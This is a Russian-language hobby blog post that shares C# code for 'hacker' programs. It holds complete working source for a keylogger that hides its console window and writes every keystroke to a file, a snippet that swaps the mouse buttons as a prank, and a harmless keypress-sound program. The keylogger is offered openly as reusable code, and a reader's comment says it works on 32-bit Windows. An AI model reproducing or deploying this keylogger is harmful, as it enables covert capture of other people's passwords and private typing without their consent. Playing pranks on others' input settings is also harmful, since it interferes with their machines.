четверг, 9 апреля 2020 г.

Немного "хакерских" программ

Для меня сама возможность компилировать программу из батника, без установки тяжелой visual studio, это уже сродни хакерству. Поменял исходник, запустил батник и вот уже есть готовая программа. Эта возможность писать проги "на коленке" позволяет создавать много интересных штучек, например можно делать скриншоты, или вот например еще один код для программы кейлоггера:

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;

namespace mykeyloggerprog {
class Program {
static string buf;

//импорт библиотеки для считывания кода нажатых клавиш
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);

// импорт библиотек, чтобы можно было спрятать окно консоли
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

[STAThread]
static void Main(String[] args) {

var handle = GetConsoleWindow(); // возвращает handle текущего консольного окна
ShowWindow(handle, 6); // чтобы спрятать это окно нужно поставить: 0 Hide, 5 Show, 6 свернутое окно

while (true) {
Thread.Sleep(100);
for (int i = 0; i < 255; i++) {
int state = GetAsyncKeyState(i); // метод импортированной ранее библиотеки возвращает код клавиши
// условия для проверки некоторых конкретных кнопок
if (state != 0) {
if (((Keys) i) == Keys.Space) {
buf += " "; // если нажали робел, то в буфер добавляется пустой символ, т.е. пробел
continue;
}
if (((Keys) i) == Keys.Enter) {
buf += "\r\n"; // если нажали Enter, то добавляется перенос каретки
continue;
}
if (((Keys) i) == Keys.LButton || ((Keys) i) == Keys.RButton || ((Keys) i) == Keys.MButton) continue; // кнопки мыши не записываются в лог
if (((Keys) i).ToString().Length == 1) {
buf += ((Keys) i).ToString(); // каждый код добавляется в буфер
} else {
buf += ((Keys) i).ToString();
}
if (buf.Length > 10) {
File.AppendAllText("keylogger.log", buf); // как только символов в буфере становится больше 10, он добавляется в конец файла кейлогера и 
buf = ""; // обнуляется. Кстати файл создастся если его не было и допишется если был. Коды клавиш могут занимать не один символ буфера
}
}
}
}
}
}
}

Мне в первую очередь интересен этот код тем что можно скрестить его с тем же скриншотером, который будет висеть в фоне и ждать комбинацию клавиш, чтобы потом тупо сделать скриншот и сохранить его на рабочем столе. Пока я просто оставлю этот код здесь чтобы если что со временем вернуться к такой реализации, ну а пока это тупо кейлоггер, который описывали в журнале хакер.
Ну и коли пост про хакерские программы, должна быть не одна программа, и в качестве дополнения просто будет небольшая функция: старый хакерский прикол поменять местами кнопки мышки. Делаться это может просто через командную строку, но вернуть назад почему-то нельзя.А вот через C# это возможно: просто нужно импортировать библиотеку user32
[DllImport("user32.dll")]
static extern bool SwapMouseButton(bool fSwap);
и в main вызвать метод SwapMouseButton(true); чтобы поменять кнопки. Если поставить false то все вернется назад.
Или можно так при каждом запуске программы каждый раз будут меняться кнопки:
if (SwapMouseButton(true)) SwapMouseButton(false);
else  SwapMouseButton(true);

Со временем, возможно, будет еще что-нибудь добавить по теме, но в данном же случае это сохранение примера как можно использовать встроенные библиотеки винды - у них есть куча других функций: берешь функцию, импортируешь аналогично, и юзаешь для личных нужд - звучит вроде не сложно))

ЗЫ вот подоспела идея для обработки ввода с клавиатуры - при печатании проигрывать звук печатной машинки то что добавил проигрывания wav выделил желтым:
 class Program {

  //импорт библиотеки для считывания кода нажатых клавиш
  [DllImport("user32.dll")]
  public static extern int GetAsyncKeyState(Int32 i);

  [STAThread]
  static void Main(String[] args) {
   Console.WriteLine("Перенесите в консоль звуковой файл и нажмине ENTER");
   string wavfile = Console.ReadLine().Trim('"');// считываем путь до файла

   SoundPlayer player = new SoundPlayer();//Создаем  плеер для проигрывания звука
   player.SoundLocation = wavfile;//указываем плееру путь до файла, который ранее вводили с клавы 
   player.Load();// подгружаем этот файл
   while (true) {
    Thread.Sleep(100);
    for (int i = 0; i < 255; i++) {

     int state = GetAsyncKeyState(i);
     if (state != 0) {
// проигрывать звук если длина символа равна 1 (все буквенные клавиши), или ентер, или пробел
      if (((Keys) i).ToString().Length == 1 || ((Keys) i) == Keys.Space || ((Keys) i) == Keys.Enter) {
       try {
        player.Play();//воспроизводим тот файл
       } catch {
// если удалить или переименовать файл для проигрывания то консоль будет издавать звук с частотой 1000 гц, а не выдавать ошибку
        System.Console.Beep(1000, 50);
       }
      }

     }
    }
   }
  }
 }

1 комментарий:

  1. Логгер как выяснилось хорошо работает в 32 битной винде, в 64 битной выдает набор разного текста непонятного. И кроме того для использования озвучивания кнопок нужно добавить в пространство имен
    using System.Media

    ОтветитьУдалить